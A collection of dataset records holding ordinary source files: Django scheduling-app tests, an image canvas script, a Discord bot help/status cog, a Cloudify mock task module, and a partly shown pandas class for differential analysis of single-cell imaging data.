+{"seq_id":"381990658","text":"from django.core.urlresolvers import resolve\nfrom django.template.loader import render_to_string\nfrom django.test import TestCase\nfrom django.http import HttpRequest\nfrom django.contrib.auth.models import User as User_id\nfrom django.contrib.auth import authenticate, login, logout\nfrom schedule.views import *\nfrom schedule.models import *\n\nimport re\n\nclass ScheduleHomePageTest(TestCase):\n\n def test_root_url_resolves_to_home_page_view(self):\n found = resolve('/')\n self.assertEqual(found.func, home_page)\n\n def test_home_page_have_right_title(self):\n request = HttpRequest()\n response = home_page(request)\n self.assertTrue(response.content.startswith(b''))\n self.assertIn(b'schedule ', response.content)\n self.assertTrue(response.content.strip().endswith(b''))\n\n def remove_csrf(self, html_code):\n csrf_regex = r' ]+csrfmiddlewaretoken[^>]+>'\n return re.sub(csrf_regex, '', html_code)\n\n def test_home_page_return_correct_html(self):\n request = HttpRequest()\n response = home_page(request)\n expected_html = render_to_string('schedule/homepage.html')\n self.assertEqual(self.remove_csrf(response.content.decode()), \n self.remove_csrf(expected_html))\n\n def test_home_page_can_save_a_POST_request(self):\n request = HttpRequest()\n request.method = 'POST'\n request.POST['user_name'] = 'user_one'\n response = home_page(request)\n self.assertEqual(User.objects.count(), 1)\n new_user = User.objects.first()\n self.assertEqual(new_user.name, 'user_one')\n\n def test_home_page_rediracts_after_POST(self):\n request = HttpRequest()\n request.method = 'POST'\n request.POST['user_name'] = 'user_one'\n response = home_page(request)\n self.assertEqual(response.status_code, 302)\n self.assertEqual(response['location'], '/')\n\n def test_home_page_only_save_user_when_necessary(self):\n request = HttpRequest()\n home_page(request)\n self.assertEqual(User.objects.count(), 0)\n\n\nclass ScheduleUserPageTest(TestCase):\n\n def test_root_url_resolves_to_user_page_view(self):\n found = resolve('/0')\n self.assertEqual(found.func, user_page)\n\n def remove_csrf(self, html_code):\n csrf_regex = r' ]+csrfmiddlewaretoken[^>]+>'\n return re.sub(csrf_regex, '', html_code)\n\n def test_user_page_have_right_title(self):\n user = User(name='user_one')\n user.save()\n request = HttpRequest()\n response = user_page(request, user_id=user.pk)\n self.assertTrue(response.content.startswith(b''))\n self.assertIn(b'user_page ', response.content)\n self.assertTrue(response.content.strip().endswith(b''))\n\n def test_user_page_return_correct_html(self):\n request = HttpRequest()\n user = User(name='user')\n user.save()\n response = user_page(request, user_id=user.pk)\n expected_html = render_to_string('schedule/userpage.html')\n self.assertEqual(self.remove_csrf(response.content.decode()), \n self.remove_csrf(expected_html))\n\n def test_user_page_has_table_element_id_table_time(self):\n expected_html = render_to_string('schedule/userpage.html')\n self.assertIn(\"\", self.remove_csrf(expected_html))\n\n def test_user_page_has_element_id_time(self):\n user = User(name='user')\n user.save()\n request = HttpRequest()\n response = user_page(request, user_id=user.pk)\n expected_html = render_to_string('schedule/userpage.html')\n self.assertIn(\"\", self.remove_csrf(expected_html))\n\n def test_user_page_has_colum_for_show_all_time(self):\n expected_html = render_to_string('schedule/userpage.html')\n for count in range(0, 24):\n if(count < 10):\n count = '0' + str(count)\n self.assertIn(str(count), self.remove_csrf(expected_html))\n\n def test_user_page_has_rows_for_show_any_day(self):\n expected_html = render_to_string('schedule/userpage.html')\n list_of_day = ['Monday', 'Tuesday', 'Wednesday', 'Thursday', 'Friday', 'Saturday', 'Sunday']\n for day in list_of_day:\n self.assertIn(day, self.remove_csrf(expected_html))\n\n def set_activity_each_day_for_new_user(self, user_id):\n \tself.make_activity_each_time_for_a_day( \"Monday\" ,user_id)\n \tself.make_activity_each_time_for_a_day( \"Tuesday\" ,user_id)\n \tself.make_activity_each_time_for_a_day( \"Wednesday\" ,user_id)\n \tself.make_activity_each_time_for_a_day( \"Thursday\" ,user_id)\n \tself.make_activity_each_time_for_a_day( \"Friday\" ,user_id)\n \tself.make_activity_each_time_for_a_day( \"Saturday\" ,user_id)\n \tself.make_activity_each_time_for_a_day( \"Sunday\" ,user_id)\n\n def make_activity_each_time_for_a_day(self, day_in, user_id):\n \tuser = User.objects.get(pk=user_id)\n \tfor count in range(0, 24):\n \t\tActivity.objects.create(user=user, detail=\"\", time=count, day=day_in).save()\n\n\n def test_user_page_can_save_a_POST_request(self):\n user = User(name='user_one')\n user.save()\n self.set_activity_each_day_for_new_user(user.pk)\n request = HttpRequest()\n request.method = 'POST'\n request.POST['detail'] = 'user_one'\n request.POST['start_time'] = 2\n how_many_hour = 5\n request.POST['how_many_hour'] = how_many_hour\n request.POST['day_selecter'] = 'Monday'\n reponse = add_new_activity(request, user_id=user.pk)\n for count_time in range(2, 7):\n self.assertEqual(Activity.objects.get(user=user, day='Monday', \n \t time=count_time).detail,\n \t 'user_one')\n\n def test_user_page_rediracts_after_POST(self):\n user = User(name='user_one')\n user.save()\n self.set_activity_each_day_for_new_user(user.pk)\n request = HttpRequest()\n request.method = 'POST'\n request.POST['detail'] = 'user_one'\n request.POST['start_time'] = 2\n how_many_hour = 5\n request.POST['how_many_hour'] = how_many_hour\n request.POST['day_selecter'] = 'Monday'\n response = add_new_activity(request, user_id=user.pk)\n self.assertEqual(response.status_code, 302)\n self.assertEqual(response['location'], '/'+str(user.pk))\n\n def test_user_page_only_save_activity_when_necessary(self):\n user = User(name='user_one')\n user.save()\n self.set_activity_each_day_for_new_user(user.pk)\n request = HttpRequest()\n user_page(request, user_id=user.pk)\n self.assertEqual(Activity.objects.count(), 168)\n\n def test_user_page_remove_same_time_activity_when_it_same_time(self):\n user = User(name='user_one')\n user.save()\n self.set_activity_each_day_for_new_user(user.pk)\n exten_activity = Activity.objects.get(time=1, \n day='Monday')\n exten_activity.setDetail('new')\n exten_activity.set_time_left(5)\n exten_activity.set_connected(False)\n exten_activity.save()\n for count in range(1, 5):\n time_left = 5 - count \n time = count + 1\n exten_activity = Activity.objects.get(time=time, \n day='Monday')\n exten_activity.setDetail('new')\n exten_activity.set_time_left(time_left)\n exten_activity.set_connected(True)\n exten_activity.save()\n request = HttpRequest()\n request.method = 'POST'\n request.POST['detail'] = 'user_one'\n request.POST['start_time'] = 2\n how_many_hour = 5\n request.POST['how_many_hour'] = how_many_hour\n request.POST['day_selecter'] = 'Monday'\n response = add_new_activity(request, user_id=user.pk)\n extend_colum = Activity.objects.get(user=user, day='Monday', time=1)\n self.assertEqual('', extend_colum.detail)\n\n\n\nclass UserModelTest(TestCase):\n\n def test_saving_and_retrieving_user(self):\n first_user = User(name='first', mail='first@hotmail.com')\n first_user.save()\n second_user = User(name='second', mail='second@hotmail.com')\n second_user.save()\n all_user = User.objects.all()\n self.assertEqual(all_user.count(), 2)\n first_save_user = all_user[0]\n second_save_user = all_user[1]\n self.assertEqual(first_save_user.name, 'first')\n self.assertEqual(first_save_user.mail, 'first@hotmail.com')\n self.assertEqual(second_save_user.name, 'second')\n self.assertEqual(second_save_user.mail, 'second@hotmail.com')\n \nclass ActivityModelTest(TestCase):\n \n def test_saving_and_retrieving_activity(self):\n user = User(name='user', mail='user@hotmail.com')\n user.save()\n activity_one = Activity(user=user, detail='first_activity', time=1, day='Monday')\n activity_one.save()\n activity_two = Activity(user=user, detail='second_activity', time=1, day='Friday')\n activity_two.save()\n all_activity = Activity.objects.all()\n self.assertEqual(all_activity.count(), 2)\n first_activity = all_activity[0]\n second_activity = all_activity[1]\n self.assertEqual(first_activity.detail, 'first_activity')\n self.assertEqual(second_activity.detail, 'second_activity')\n","sub_path":"bs2560/schedule/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":9555,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"465175308","text":"import argparse\nimport numpy as np\nimport matplotlib.image as mpimg\n\ndef canvas_create(color, filename,width = 256, height=256):\n color_ = tuple(c / 255 for c in color)\n canvas = np.full([height, width, 3], color_)\n mpimg.imsave(filename, canvas)\n \nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Create a canvas for the given R G B coordinates')\n parser.add_argument('r', type=int, help='red')\n parser.add_argument('g', type=int, help='green')\n parser.add_argument('b', type=int, help='blue')\n args = parser.parse_args()\n color = (args.r, args.g, args.b)\n canvas_create(color, 'canvas.png')\n\n\n\n","sub_path":"xconstant_image.py","file_name":"xconstant_image.py","file_ext":"py","file_size_in_byte":654,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"475720270","text":"import asyncio\nimport json\nimport math\nimport sys\nfrom datetime import datetime\n\nimport discord\nimport psutil\nfrom discord.ext import commands\n\n\nclass Bot(commands.Cog):\n \"\"\"主にBOTのヘルプや概要を表示するコマンドがあるカテゴリーです\"\"\"\n def __init__(self, bot):\n self.bot = bot\n\n @commands.command(description='Botの応答速度を測ります')\n async def ping(self, ctx):\n await ctx.reply(f'🏓 Pong! - {math.floor(self.bot.latency * 1000)} ms',\n allowed_mentions=discord.AllowedMentions.none())\n\n @commands.command(description='BOTの招待リンクを出します')\n async def invite(self, ctx):\n return await ctx.reply(f'招待リンクです\\n{self.bot.config[\"oauth_url\"]}',\n allowed_mentions=discord.AllowedMentions.none())\n\n @commands.command(description='BOTの情報を表示します')\n async def about(self, ctx):\n prefix = self.bot.db.custom_prefix_get(ctx.guild.id)\n\n owner = await self.bot.fetch_user((await self.bot.application_info()).owner.id)\n info_guilds = len(self.bot.guilds)\n info_user = len(self.bot.users)\n info_ch = 0\n for guild in self.bot.guilds:\n info_ch += len(guild.channels)\n embed = discord.Embed(title=f'{self.bot.user}')\n embed.set_thumbnail(url=self.bot.user.avatar_url)\n embed.add_field(name='開発者',\n value=f'```c\\n# discord: {owner}\\n```',\n inline=False)\n embed.add_field(name='開発言語',\n value=f'```yml\\nPython:\\n{sys.version}\\ndiscord.py: {discord.__version__}\\n```',\n inline=False)\n embed.add_field(name='Prefix',\n value=f'```yml\\n{self.bot.config[\"prefix\"] if not prefix else prefix[0]}\\n'\n f'{self.bot.config[\"prefix\"] if not prefix else prefix[0]}help でコマンドの説明を見ることが出来ます```',\n inline=False)\n embed.add_field(name='詳細',\n value=f'```yml\\n[導入サーバー数] {info_guilds}\\n[ユーザー数] {info_user}\\n[チャンネル数] {info_ch}\\n```',\n inline=False)\n embed.add_field(name='一部機能の引用元',\n value='・コマンド名「rtfm」: [Rapptz/RoboDanny](https://github.com/Rapptz/RoboDanny)',\n inline=False)\n embed.add_field(name='各種リンク',\n value=f'[BOTの招待リンク]({self.bot.config[\"oauth_url\"]}) | '\n '[公式サーバー](https://discord.com/invite/pvyMQhf) | '\n '[開発者のサイト](https://syutarou.xyz)',\n inline=False)\n await ctx.reply(embed=embed, allowed_mentions=discord.AllowedMentions.none())\n\n @commands.command(description='BOTの利用規約を表示します')\n async def terms(self, ctx):\n await ctx.send('terms')\n\n @commands.command(description='Botの負荷状況を表示します')\n async def status(self, ctx):\n\n def get_dashes(perc):\n dashes = \"█\" * int((float(perc) / 10 * 3))\n empty_dashes = \" \" * (30 - len(dashes))\n return dashes, empty_dashes\n\n def format_memory(mem):\n return round(mem / 1024 / 1024 / 1024, 2)\n\n def get_color(n):\n n = int(n)\n if n < 30:\n return 55039\n elif n < 70:\n return 15827480\n elif n <= 100:\n return 16715008\n\n cpu_emoji = self.bot.get_emoji(862959901227221022)\n memory_emoji = self.bot.get_emoji(862959530399629332)\n wifi_emoji = self.bot.get_emoji(862960959916343336)\n cpu_percent = psutil.cpu_percent()\n embed_color = get_color(cpu_percent)\n\n status_embed = discord.Embed(title=f'{self.bot.user} - Status', color=embed_color)\n\n dashes, empty_dashes = get_dashes(cpu_percent)\n status_embed.add_field(name=f'> {cpu_emoji} **CPU**',\n value=f'```ini\\n[ {dashes}{empty_dashes} ] [ {cpu_percent}% ]\\n```',\n inline=False)\n\n mem = psutil.virtual_memory()\n mem_percent = mem.percent\n dashes, empty_dashes = get_dashes(mem_percent)\n status_embed.add_field(name=f'> {memory_emoji} **Memory**',\n value=f'```ini\\n[ {format_memory(mem.used)} / {format_memory(mem.total)} GiB]\\n'\n f'[ {dashes}{empty_dashes} ] [ {mem_percent}% ]\\n```',\n inline=False)\n\n web_ping = round(self.bot.latency * 1000, 1)\n message_ping = round((datetime.utcnow().timestamp() - ctx.message.created_at.timestamp()) * 1000, 1)\n status_embed.add_field(name=f'> {wifi_emoji} **Latency**',\n value=f'```ini\\n[ WebSocket ]\\n{web_ping}ms\\n[ Message ]\\n{message_ping}ms\\n```',\n inline=False)\n\n await ctx.reply(embed=status_embed, allowed_mentions=discord.AllowedMentions.none())\n\n @commands.command(description='Botのヘルプを表示します')\n async def help(self, ctx, command_names=None):\n prefix = self.bot.db.custom_prefix_get(ctx.guild.id)\n command_prefix = self.bot.config[\"prefix\"] if not prefix else prefix[0][0]\n\n def send_embed(command):\n command_aliases = []\n if not command.aliases:\n command_aliases.append('なし')\n else:\n for ca in command.aliases:\n command_aliases.append(f'`{ca}`')\n\n how_use_text = f'`{command_prefix}{command.name} {command.usage if command.usage else \"\"}`'\n\n command_embed = discord.Embed(title=f'📃 CommandHelp - `{command.name}`',\n description=f'{command.description}',\n color=261888) # カラー:ライトグリーン\n command_embed.set_footer(text='[]: 必要引数 | <>: オプション引数')\n command_embed.add_field(name='エイリアス', value=f'> {\", \".join(command_aliases)}')\n command_embed.add_field(name='コマンドの権限',\n value=f'> {command.brief[1]}'\n if command.brief is not None and len(command.brief) > 1 else '> 誰でも利用可能')\n command_embed.add_field(name='使い方', value=f'> {how_use_text}', inline=False)\n command_embed.add_field(name='カテゴリー',\n value=f'> 【 {command.cog_name} 】'\n f'{self.bot.get_cog(command.cog_name).description}',\n inline=False)\n\n if command.brief:\n command_brief = command.brief[0].replace('{cmd}', command_prefix, -1)\n command_embed.add_field(name='説明', value=f'```\\n{command_brief}\\n```',\n inline=False)\n\n return command_embed\n\n if command_names is None:\n embed = discord.Embed(title='📃 Help',\n description=f'Command Prefix: ` {command_prefix} `',\n color=261888) # カラー:ライトグリーン\n embed.set_footer(text=f'コマンドの詳しい説明: {command_prefix} <コマンド名> | 1ページ目/2ページ')\n commands_list = list(self.bot.commands)\n if ctx.author.id == 534994298827964416:\n command_group = {'Bot': '🤖 Botコマンド', 'Utils': '🔧 ユーティリティーコマンド', 'Info': '💻 情報コマンド',\n 'Game': '🎮 ゲームコマンド', 'Image': '🖼 フォトコマンド',\n 'Admin': '🛠 サーバー管理コマンド', 'Owner': '⛏ BOT開発者用コマンド'\n }\n else:\n command_group = {'Bot': '🤖 Botコマンド', 'Utils': '🔧 ユーティリティーコマンド', 'Info': '💻 情報コマンド',\n 'Game': '🎮 ゲームコマンド', 'Image': '🖼 フォトコマンド',\n 'Admin': '🛠 サーバー管理コマンド'\n }\n help_cmg_list = []\n for cg in command_group:\n for cl in commands_list:\n if cl.cog_name == cg:\n help_cmg_list.append(f'`{cl.name}`')\n if not help_cmg_list:\n help_cmg_list.append('`コマンドなし`')\n else:\n help_cmg_list.sort()\n embed.add_field(name=command_group.get(cg), value=f'> {\", \".join(help_cmg_list)}', inline=False)\n help_cmg_list = []\n help_embed_msg = await ctx.reply(embed=embed, allowed_mentions=discord.AllowedMentions.none())\n await help_embed_msg.add_reaction('▶')\n\n def check(reaction, user):\n return user == ctx.author and str(reaction.emoji) == '▶'\n\n try:\n await self.bot.wait_for('reaction_add', timeout=20, check=check)\n except asyncio.TimeoutError:\n try:\n await help_embed_msg.clear_reactions()\n except discord.errors.NotFound:\n return\n else:\n try:\n await help_embed_msg.clear_reactions()\n\n with open('./data/function_info.json', 'r', encoding='UTF-8') as config:\n data = json.load(config)\n chenged_msg = discord.Embed(title='📃 Help - コマンド以外の機能',\n url='https://merubot.com/function',\n description='他についている機能についての説明が載っています\\n'\n f'Command Prefix:` {command_prefix} `',\n color=261888) # カラー:ライトグリーン\n chenged_msg.set_footer(text='2ページ目/2ページ | 他の機能のHelp')\n for cl in data:\n chenged_msg.add_field(name=f'🔹 {cl}', value=f'```\\n{data[cl][\"text\"]}\\n```', inline=False)\n cog_meta = self.bot.get_cog(data[cl]['cog_name'])\n if not cog_meta:\n chenged_msg.add_field(name='> コマンドリスト', value='なし')\n else:\n cmd_list = [cmd.name for cmd in cog_meta.get_commands() if data[cl][\"brief\"] == cmd.brief[2]]\n chenged_msg.add_field(name='> コマンドリスト', value=f'`{\", \".join(cmd_list)}`')\n\n await help_embed_msg.edit(embed=chenged_msg)\n except discord.errors.NotFound:\n return\n else:\n cmd_get_name = self.bot.get_command(command_names)\n cmd_find_name = discord.utils.find(lambda cm: command_names in cm.name, list(self.bot.walk_commands()))\n no_cmd_error = discord.Embed(title='📃 CommandHelp Error',\n description='指定されたコマンドが見つかりませんでした',\n color=16715008) # カラー:赤色\n if cmd_get_name is None:\n if cmd_find_name is not None:\n no_cmd_error.add_field(name='もしかして...', value=f'`{cmd_find_name}`')\n await ctx.reply(embed=no_cmd_error, allowed_mentions=discord.AllowedMentions.none())\n\n elif cmd_get_name.hidden:\n if ctx.author.id != 534994298827964416:\n beta_command = discord.Embed(title=f'📃 CommandHelp - `{cmd_get_name.name}`',\n description='非公開コマンドです',\n color=16770304) # カラー:黄色\n return await ctx.reply(embed=beta_command, allowed_mentions=discord.AllowedMentions.none())\n else:\n help_command = send_embed(cmd_get_name)\n return await ctx.reply(embed=help_command, allowed_mentions=discord.AllowedMentions.none())\n else:\n help_command = send_embed(cmd_get_name)\n return await ctx.reply(embed=help_command, allowed_mentions=discord.AllowedMentions.none())\n\n\ndef setup(bot):\n bot.add_cog(Bot(bot))\n","sub_path":"cogs/Bot.py","file_name":"Bot.py","file_ext":"py","file_size_in_byte":12921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"373244458","text":"########\n# Copyright (c) 2013 GigaSpaces Technologies Ltd. All rights reserved\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# * See the License for the specific language governing permissions and\n# * limitations under the License.\n\n__author__ = 'idanmo'\n\nfrom cosmo.celery import celery\nimport os\nfrom os import path\nimport json\nfrom celery.utils.log import get_task_logger\nfrom cosmo.events import set_reachable\n\nRUNNING = \"running\"\nNOT_RUNNING = \"not_running\"\n\nlogger = get_task_logger(__name__)\nreachable = set_reachable\nmachines = {}\n\n@celery.task\ndef provision(__cloudify_id, **kwargs):\n global machines\n logger.info(\"provisioning machine: \" + __cloudify_id)\n if __cloudify_id in machines:\n raise RuntimeError(\"machine with id [{0}] already exists\".format(__cloudify_id))\n machines[__cloudify_id] = NOT_RUNNING\n\n\n@celery.task\ndef start(__cloudify_id, **kwargs):\n global machines\n logger.info(\"starting machine: \" + __cloudify_id)\n if __cloudify_id not in machines:\n raise RuntimeError(\"machine with id [{0}] does not exist\".format(__cloudify_id))\n machines[__cloudify_id] = RUNNING\n reachable(__cloudify_id)\n\n\n@celery.task\ndef stop(__cloudify_id, **kwargs):\n global machines\n logger.info(\"stopping machine: \" + __cloudify_id)\n if __cloudify_id not in machines:\n raise RuntimeError(\"machine with id [{0}] does not exist\".format(__cloudify_id))\n machines[__cloudify_id] = NOT_RUNNING\n\n\n@celery.task\ndef terminate(__cloudify_id, **kwargs):\n global machines\n logger.info(\"terminating machine: \" + __cloudify_id)\n if __cloudify_id not in machines:\n raise RuntimeError(\"machine with id [{0}] does not exist\".format(__cloudify_id))\n del machines[__cloudify_id]\n\n@celery.task\ndef get_machines(**kwargs):\n logger.info(\"getting machines...\")\n return machines\n","sub_path":"workflows/tests/cosmo/cloudmock/tasks.py","file_name":"tasks.py","file_ext":"py","file_size_in_byte":2251,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"12977457","text":"import pandas as pd\nimport numpy as np\nimport os\nimport random\nimport seaborn as sns\nfrom sklearn.metrics.pairwise import euclidean_distances\nfrom matplotlib import pyplot as plt\nfrom common_apis import *\n\n\nclass per_well_analysis():\n\n '''\n Analysis focusing on difference between target well against reference well (control).\n '''\n\n def __init__(self, expr_data, metadata,\n output_path='results',\n output_prefix='MCF10A Commons ',\n time_col='time',\n drug_col='ligand',\n dose_col='dose',\n batch_col=None,\n control_name='PBS',\n control_col=None):\n '''\n Differential analysis comparing each well to their corresponding controls. Need a unique control sample for each treatment condition. \n For data with multiple batches/places, the analysis is done independantly within each batch.\n The way this is implemented is through defining a list of trt and control pairs over all conditions and run tests based on each individual contrast. \n Parameters\n ========\n expr_data: pd.DataFrame, sample x features. dataframe of segmented single cell cycif data. \n metadata: pd.DataFrame, sample x features, dataframe of metadata of segmented single cell data.\n output_path: str, as named.\n output_prefix: str, as named.\n time_col: str, column in metadata containing trt time duration.\n drug_col: str, column in metadata containing trt drug name.\n control_name: str, name of ligand used as control.\n control_col: str, column in metadata containing control sample. This is needed since it could interesting to use a time point as control rather than a ligand/drug.\n batch_col: str, column name in the metadata. This is usefult because sometimes we have pooled data from multiple plate/group, and each has their own control samples.\n separating proper control for proper test set is then important. By default their is no batches.\n '''\n\n if not os.path.exists(output_path):\n os.mkdir(output_path)\n if control_col is None:\n control_col = drug_col\n expr_data = expr_data.loc[metadata.index]\n self.expr_data = expr_data\n self.metadata = metadata\n self.output_path = output_path\n self.output_prefix = output_prefix\n self.drug_col = drug_col\n self.dose_col = dose_col\n self.time_col = time_col\n self.control_name = control_name\n self.control_col = control_col\n self.batch_col = batch_col\n\n def descriptive_analysis(self,\n return_variance=False,\n channel_dist_plot=True,\n fig_name='Channel distribution plot.png'):\n '''\n Evaluate channel distributions and total variance of data\n '''\n # Channel distribution plot.\n drug_group = self.metadata[self.drug_col]\n dose_group = self.metadata[self.dose_col]\n time_group = self.metadata[self.time_col]\n if channel_dist_plot:\n fig_name = os.path.join(self.output_path, ' '.join(\n [self.output_prefix, fig_name]))\n channel_histograms(self.expr_data, save_fig_filename=fig_name)\n # Evaluate total variance.\n total_variance = self.expr_data.groupby(\n [drug_group, dose_group, time_group]).std().sum(axis=1)\n if return_variance:\n return total_variance\n else:\n total_variance_fn = os.path.join(self.output_path, ' '.join(\n [self.output_prefix, 'log2 transformed data total variance by condition.csv']))\n total_variance.to_csv(total_variance_fn)\n\n def make_contrast(self, batch_wise=False, test_condition_groupby=None, control_name=None, control_col_idx=0):\n '''\n Extract pairs of teatment sample set and control sample set. Assumes there is only one appropriate control for each treatment group.\n These sets were used in later analysis such as differential analysis and distance evaluation.\n This is done through grouping the cells based on the a collection of metadata such as drug, dose, and time. \n Thus if a particular condition is of no interest to the question, it can be simply dropped.\n\n Parameters\n ========\n batch_wise: boolean, if True, make contrasts within each batch, otherwise assume there is only one control in the data.\n test_condition_groupby: list-like, collections of colnames that defines a treatment condition. \n control_name: str, name of control sample name. \n control_col_idx: str, name of column in metadata that contains the control name.\n\n Return\n ========\n list_groups: list, each element is a tuple of test_samples and control_samples.\n\n '''\n # setting default as drug + dose + time\n if test_condition_groupby is None:\n test_condition_groupby = [\n self.drug_col, self.dose_col, self.time_col]\n if control_name is None:\n control_name = self.control_name\n self.list_all_contrasts = []\n self.contrast_by = test_condition_groupby\n # define all batches\n if batch_wise:\n list_batches = sorted(self.metadata[self.batch_col].unique())\n else:\n list_batches = ['single_batch']\n # define controls\n control_col = test_condition_groupby[control_col_idx]\n if control_name != self.control_name:\n print('Control sample changed to {}:{} from {}:{}!'.format(\n control_col, control_name, self.control_col, self.control_name))\n\n # batch-wise operation, each batch works with only samples of current\n # batch.\n for batch in list_batches:\n batch_contrasts = []\n if batch == 'single_batch':\n current_batch_samples = self.metadata.index\n else:\n current_batch_samples = self.metadata[\n self.metadata[self.batch_col] == batch].index\n current_batch = self.metadata.loc[current_batch_samples]\n current_batch_agg = current_batch.groupby(test_condition_groupby).agg(\n lambda x: ','.join(x.index)).iloc[:, 0]\n\n # This loop is to identify control and pad control cells and control metadata to each test condition in current batch.\n # TODO: It could be improved.\n _status = 0\n for idx in current_batch_agg.index:\n if idx[control_col_idx] == control_name:\n control_cells = current_batch_agg.loc[idx]\n control_cells_metadata = '_'.join([str(x) for x in idx])\n _status = 1\n\n # if no controls were found, throw an exception and return some\n # information on why it is so.\n if _status == 0:\n print('Control condition not found!')\n print('This is all conditions in batch {}:{}:'.format(\n self.batch_col, str(batch)))\n print(current_batch_agg)\n raise ValueError()\n # Make actually contrasts\n for idx in current_batch_agg.index:\n if idx[control_col_idx] == control_name:\n continue\n else:\n batch_contrasts.append(('_'.join([str(x) for x in idx]), current_batch_agg.loc[\n idx], control_cells_metadata, control_cells, batch))\n self.list_all_contrasts += batch_contrasts\n\n def contrast_based_distance(self):\n '''\n Measure distances of treated group to control groups, and plot violinplots of distance.\n Distance to control is defined as euclidean distance of each treated sample to centroid of control.\n\n Return\n ========\n df_dist: pd.DataFrame, a dataframe of sample X features. trt to control distance is only one of the columns.\n The rest are sample metadata to allow flexibility in making the plots.\n '''\n time_col = self.time_col\n drug_col = self.drug_col\n dose_col = self.dose_col\n control_name = self.control_name\n df_dist = pd.DataFrame()\n\n for contrast in self.list_all_contrasts:\n test_samples = contrast[1].split(',')\n control_samples = contrast[3].split(',')\n test_metadata = contrast[0].split('_')\n control_metadata = contrast[2]\n test_expr = self.expr_data.loc[test_samples]\n control_expr = self.expr_data.loc[control_samples]\n # get \"centroid\" by find the median control sample.\n control_vector = control_expr.median().values.reshape(1, -1)\n dist_vector = euclidean_distances(control_vector, test_expr)\n # clipping outliers out.\n low = np.percentile(dist_vector, 1)\n high = np.percentile(dist_vector, 99)\n dist_vector = dist_vector[\n (dist_vector > low) & (dist_vector < high)]\n dist_vector = pd.DataFrame(dist_vector, columns=['distance'])\n # Fillin metadata\n for idx, metadata_col in enumerate(self.contrast_by):\n metadata_value = check_numeric(test_metadata[idx])\n dist_vector[metadata_col] = metadata_value\n df_dist = df_dist.append(dist_vector)\n self.df_dist = df_dist\n\n def plot_dist_violinplot(self, facetgrid_col, x_group, facetgrid_row=None):\n '''\n Make violin plots based on different possible grouping methods\n\n Parameters\n ========\n facetgrid_col: str, column in df_dist, defines how the subplots are organized by column. \n x_group: str, column in df_dist, defines how the groups are created in each subplot. \n facetgrid_row: str, column in df_dist, similar to facetgrid_col, but for rows. \n '''\n save_fig_filename = os.path.join(self.output_path, ' '.join(\n ['Drug_control distance over', x_group, 'per', facetgrid_col]) + '.png')\n sns.set(font_scale=1.5)\n order = sorted(self.metadata[x_group].unique())\n g = sns.FacetGrid(data=self.df_dist, col=facetgrid_col, row=facetgrid_row,\n palette='Blues', sharey=True, sharex=True, height=6)\n g = g.map(sns.violinplot, x_group, 'distance', order=order, bw=.2)\n # rotate x-axis labels\n for ax in g.axes.flat:\n for label in ax.get_xticklabels():\n label.set_rotation(60)\n plt.tight_layout()\n plt.savefig(save_fig_filename)\n plt.close()\n sns.set(font_scale=1)\n\n# plot_dist_violinplot(df_dist,x_axis_col='Time',save_fig_filename=output_prefix+' Treatment to control distance.png')\n\n def contrast_based_differential_analysis(self, save_report=True):\n '''\n Differential analysis comparing the first set of samples vs the second set of samples.\n '''\n Report = pd.DataFrame()\n for batch in self.list_all_contrasts:\n test_samples = batch[1].split(',')\n control_samples = batch[3].split(',')\n test_metadata = batch[0].split('_')\n control_metadata = batch[2]\n batch_id = batch[4]\n batch_de_report = differential_analysis(\n self.expr_data.loc[test_samples], self.expr_data.loc[control_samples])\n\n # add metadata\n for idx, metadata_col in enumerate(self.contrast_by):\n metadata_value = check_numeric(test_metadata[idx])\n batch_de_report[metadata_col] = metadata_value\n\n batch_de_report['Abs_logFC'] = abs(batch_de_report.logFC)\n batch_de_report['Batch'] = batch_id\n batch_de_report['Control_metadata'] = control_metadata\n Report = Report.append(batch_de_report)\n Report.logFC = Report.logFC.astype(float)\n self.report = Report\n if save_report is True:\n output_fname = os.path.join(self.output_path, ' '.join(\n [self.output_prefix, 'logFC report.xlsx']))\n Report.to_excel(output_fname)\n\n def make_fc_heamtap_matrix(self, condition_by=None, output_fname=None):\n '''\n Make data matrix of logFC values of each marker in each condition. \n The actual matrix can be saved somewhere for future analysis in Morpheus. \n\n Parameters\n ========\n condition_by: list-like or None, list of metadata that combined makes one-to-one well to condition mapping.\n If a condition describes multiple wells, the function will not run until provided with a valid condition_by value. \n '''\n df_fc = self.report.copy()\n # Evaluate condition_by value.\n if condition_by is None:\n condition_by = [self.drug_col, self.dose_col, self.time_col]\n df_fc['condition'] = df_fc[condition_by].astype(\n str).apply(lambda x: '_'.join(x), axis=1)\n\n if df_fc.groupby('condition').logFC.count()[0] != df_fc.index.unique().shape[0]:\n no_replicates = (df_fc.groupby('condition').logFC.count()[\n 0]) / (df_fc.index.unique().shape[0])\n print('There seem to be multiple values ({}) for the same condition. Consider modify the \"condition_by\" paramerter!\"'.format(\n str(no_replicates)))\n return\n # Make a matrix of channel/feature by conditions.\n df_fc = df_fc.pivot(values='logFC', columns='condition').transpose()\n # Order samples and features using 2d hierarchical clustering.\n df_fc = df_fc.iloc[two_way_hc_ordering(df_fc)].astype(float)\n # Adds metadata.\n offset = []\n for i, tag in enumerate(condition_by):\n metadata = [x.split('_')[i] for x in df_fc.index]\n df_fc.insert(0, tag, metadata)\n offset += ['']\n df_fc = df_fc.transpose()\n for i, tag in enumerate(['Location', 'Marker']):\n metadata = [x.split('_')[i] for x in df_fc.index[3:]]\n df_fc.insert(0, tag, offset + metadata)\n\n # Reformat time information into two digit strings\n try:\n df_fc.loc[self.time_col][2:] = df_fc.loc[self.time_col][\n 2:].astype(int).apply(lambda x: \"{0:0=2d}h\".format(x))\n except:\n pass\n if output_fname is not None:\n output_name = os.path.join(\n self.output_path, self.output_prefix + 'logFC heatmap.csv')\n 